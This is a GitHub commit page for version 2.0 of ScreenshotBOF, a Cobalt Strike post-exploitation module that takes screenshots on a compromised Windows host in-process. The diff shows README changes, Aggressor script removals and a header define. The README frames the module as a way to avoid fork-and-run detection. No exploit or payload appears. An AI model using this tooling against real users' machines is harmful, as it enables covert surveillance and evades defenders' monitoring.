Skip to content

Commit ce9b08f

Browse files
committed
2.0
1 parent 7581ba3 commit ce9b08f

File tree

6 files changed

+173
-217
lines changed

6 files changed

+173
-217
lines changed

README.md

Lines changed: 22 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -2,38 +2,42 @@
22

33
An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.
44

5+
# Release 2.0
6+
- JPEG is used in place of BMP
7+
- Moved to mingw
8+
- Added beacon screenshot callback option
9+
- Removed BMP renderer (it will be missed)
10+
- No longer requires Cobalt Strike 4.10
11+
- Supports capturing of minimized windows
12+
513
## Self Compilation
614
1. git clone the repo
7-
2. open the solution in Visual Studio
8-
3. Build project BOF
15+
2. run `make`
916

1017
## Save methods:
1118
0. drop file to disk
1219
1. download file over beacon (Cobalt Strike only)
20+
2. download file over beacon as a screenshot (Cobalt Strike only)
21+
22+
## PID
23+
0: capture full screen (PID = 0)
24+
specific PID: capture specific PID (works even when minimized!)
1325

1426
## Usage
1527
1. import the screenshotBOF.cna script into Cobalt Strike
16-
2. use the command screenshot_bof {local filename} {save method 0/1}
28+
2. use the command screenshot_bof {local filename} {save method 0/1/2} {pid/0}
1729

1830
```
19-
beacon> screenshot_bof sad.bmp 1
31+
beacon> screenshot_bof file.jpg 2 21964
2032
[*] Running screenshot BOF by (@codex_tf2)
21-
[+] host called home, sent: 5267 bytes
33+
[+] host called home, sent: 12421 bytes
2234
[+] received output:
23-
[*] Screen saved to bitmap
35+
Downloading JPEG over beacon as a screenshot with filename file.jpg
36+
[*] received screenshot of Screenshot from Admin (26kb)
2437
[+] received output:
25-
[*] Downloading bitmap over beacon with filename sad.bmp
26-
[*] started download of sad.bmp
38+
Screenshot saved/downloaded successfully
2739
```
2840

29-
3. if downloaded over beacon, BMP can be viewed in Cobalt Strike by right clicking the download and clicking "Render BMP" (credit @BinaryFaultline)
30-
31-
![image](https://user-images.githubusercontent.com/29991665/199232459-0601e5d8-d534-4f05-bde4-c8acf3bd3c12.png)
32-
33-
![image](https://user-images.githubusercontent.com/29991665/199233465-8159cec4-90a4-4d82-beff-b012753b3559.png)
34-
35-
36-
3741

3842
## Notes
3943
- no evasion is performed, which should be fine since the WinAPIs used are not malicious
@@ -42,10 +46,10 @@ beacon> screenshot_bof sad.bmp 1
4246
Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.
4347

4448
## Credits
45-
- Made using https://github.com/securifybv/Visual-Studio-BOF-template
4649
- Save BMP to file from https://stackoverflow.com/a/60667564
4750
- in memory download from https://github.com/anthemtotheego/CredBandit
48-
- @BinaryFaultline for BMP rendering in aggressorscript, and screenshot callback branch
51+
- @BinaryFaultline for (deprecated) BMP rendering in aggressorscript, and screenshot callback function
52+
- bitmap to jpeg from https://github.com/WKL-Sec/HiddenDesktop
4953

5054
## Disclaimer
5155
usual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code.
595 Bytes
Binary file not shown.
422 Bytes
Binary file not shown.

ScreenshotBOF/screenshotBOF.cna

Lines changed: 2 additions & 165 deletions
Original file line numberDiff line numberDiff line change
@@ -1,171 +1,9 @@
1-
import javax.imageio.ImageIO;
2-
import java.awt.*;
3-
import javax.swing.JLabel;
4-
import javax.swing.ImageIcon;
5-
import java.io.ByteArrayInputStream;
6-
7-
# This function takes in a screenshot and creates a JLabel to display the screenshot
8-
sub display_image {
9-
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
10-
$screenshot = $1;
11-
$screenshot_bytes = $screenshot['data'];
12-
$bid = $screenshot['bid'];
13-
$user = $screenshot['user'];
14-
$computer = beacon_info($bid, 'computer');
15-
16-
$client = getAggressorClient();
17-
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
18-
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
19-
20-
$bais = [new ByteArrayInputStream: $screenshot_bytes];
21-
$image = [ImageIO read: $bais];
22-
23-
$width = [$image getWidth];
24-
$height = [$image getHeight];
25-
26-
$icon = [new ImageIcon: $image];
27-
if ($width > $MAX_IMAGE_WIDTH) {
28-
$width = $MAX_IMAGE_WIDTH;
29-
}
30-
if ($height > $MAX_IMAGE_HEIGHT) {
31-
$height = $MAX_IMAGE_HEIGHT;
32-
}
33-
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
34-
35-
$component = [new JLabel: $scaledIcon];
36-
$tab_name = "ScreenshotBOF - $user\@$computer";
37-
addTab($tab_name, $component, "...");
38-
39-
}
40-
41-
# This function takes in a screenshot and creates a JLabel to display the screenshot
42-
sub display_downloaded {
43-
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
44-
45-
$screenshot_bytes = $1;
46-
$file_name = $2;
47-
48-
$client = getAggressorClient();
49-
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
50-
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
51-
52-
$bais = [new ByteArrayInputStream: $screenshot_bytes];
53-
$image = [ImageIO read: $bais];
54-
55-
$width = [$image getWidth];
56-
$height = [$image getHeight];
57-
58-
$icon = [new ImageIcon: $image];
59-
if ($width > $MAX_IMAGE_WIDTH) {
60-
$width = $MAX_IMAGE_WIDTH;
61-
}
62-
if ($height > $MAX_IMAGE_HEIGHT) {
63-
$height = $MAX_IMAGE_HEIGHT;
64-
}
65-
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
66-
67-
$component = [new JLabel: $scaledIcon];
68-
$tab_name = "ScreenshotBOF - $file_name";
69-
addTab($tab_name, $component, "...");
70-
71-
}
72-
73-
# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab
74-
on screenshots {
75-
local('$screenshot $data');
76-
77-
$screenshot = $1;
78-
$data = $screenshot['data'];
79-
80-
# Check the magic header of the data to see if it's a BMP
81-
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
82-
display_image($screenshot);
83-
}
84-
}
85-
86-
popup_clear("downloads");
87-
popup downloads {
88-
# do nothing if nothing is selected
89-
if (size($1) == 0) {
90-
return;
91-
}
92-
93-
item "Interact" {
94-
openOrActivate($1[0]["bid"]);
95-
}
96-
97-
menu "&Color" {
98-
local('$ids');
99-
$ids = map({ return $1["id"]; }, $1);
100-
insert_component(colorPanel("accents", $ids));
101-
}
102-
103-
item "Render &BMP" {
104-
local('$download $lpath $name $count');
105-
foreach $count => $download ($1) {
106-
($lpath, $name) = values($download, @("lpath", "name"));
107-
108-
sync_download($lpath, script_resource("file $+ .$count"), lambda({
109-
$handle = openf($1);
110-
$data = readb($handle, -1);
111-
closef($handle);
112-
#println(charAt($data, 0));
113-
#println(charAt($data, 1));
114-
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
115-
display_downloaded($data, $1);
116-
} else {
117-
show_error("File is not a Bitmap image");
118-
}
119-
deleteFile($1);
120-
}, \$name));
121-
}
122-
}
123-
}
124-
125-
popup_clear("screenshots");
126-
popup screenshots {
127-
item "&Interact" {
128-
openOrActivate($1["bid"]);
129-
}
130-
131-
menu "&Color" {
132-
insert_component(colorPanel("accents", $1["id"]));
133-
}
134-
135-
item "&Save" {
136-
prompt_file_save($1["id"] . ".jpg", lambda({
137-
local('$handle');
138-
$handle = openf("> $+ $1");
139-
writeb($handle, $data);
140-
closef($handle);
141-
142-
show_message("Screenshot saved.");
143-
}, $data => $1["object"]["data"]));
144-
}
145-
146-
separator();
147-
148-
item "&Remove" {
149-
redactobject($1["id"]);
150-
}
151-
152-
item "Render &BMP" {
153-
$data = $1["object"]['data'];
154-
155-
# Check the magic header of the data to see if it's a BMP
156-
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
157-
display_image($1["object"]);
158-
} else {
159-
show_error("Image is not a Bitmap. It should render in Screenshots tab.");
160-
}
161-
}
162-
}
1631

1642
#Register command
1653
beacon_command_register(
1664
"screenshot_bof",
1675
"Alternative screenshot capability that does not do fork n run",
168-
"Use: screenshot_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon\n\nTake a screenshot inline using a BOF. Screenshot is saved as BMP on disk or downloaded over beacon."
6+
"Use: screenshot_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon as a file\n\t2: download over beacon as a screenshot\n\nTake a screenshot inline using a BOF. Screenshot is saved as JPEG on disk or downloaded over beacon."
1697
);
1708

1719
alias screenshot_bof {
@@ -175,7 +13,7 @@ alias screenshot_bof {
17513
$barch = barch($bid);
17614
if (size(@_) != 4)
17715
{
178-
berror($1, "Syntax: screenshot_bof [filename] [save method 0/1] e.g. screenshot_bof file.bmp 1 1234\nNote: set PID to 0 to capture full screen.");
16+
berror($1, "Syntax: screenshot_bof [filename] [save method 0/1/2] e.g. screenshot_bof file.JPEG 1 1234\nNote: set PID to 0 to capture full screen.");
17917
return;
18018
}
18119
# read in the right BOF file
@@ -196,4 +34,3 @@ alias screenshot_bof {
19634
# execute it.
19735
beacon_inline_execute($bid, $data, "go", $args);
19836
}
199-

beacon.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
4747
#define CALLBACK_FILE 0x02
4848
#define CALLBACK_FILE_WRITE 0x08
4949
#define CALLBACK_FILE_CLOSE 0x09
50+
#define CALLBACK_SCREENSHOT 0x03
5051

5152
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
5253
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

0 commit comments

Comments
 (0)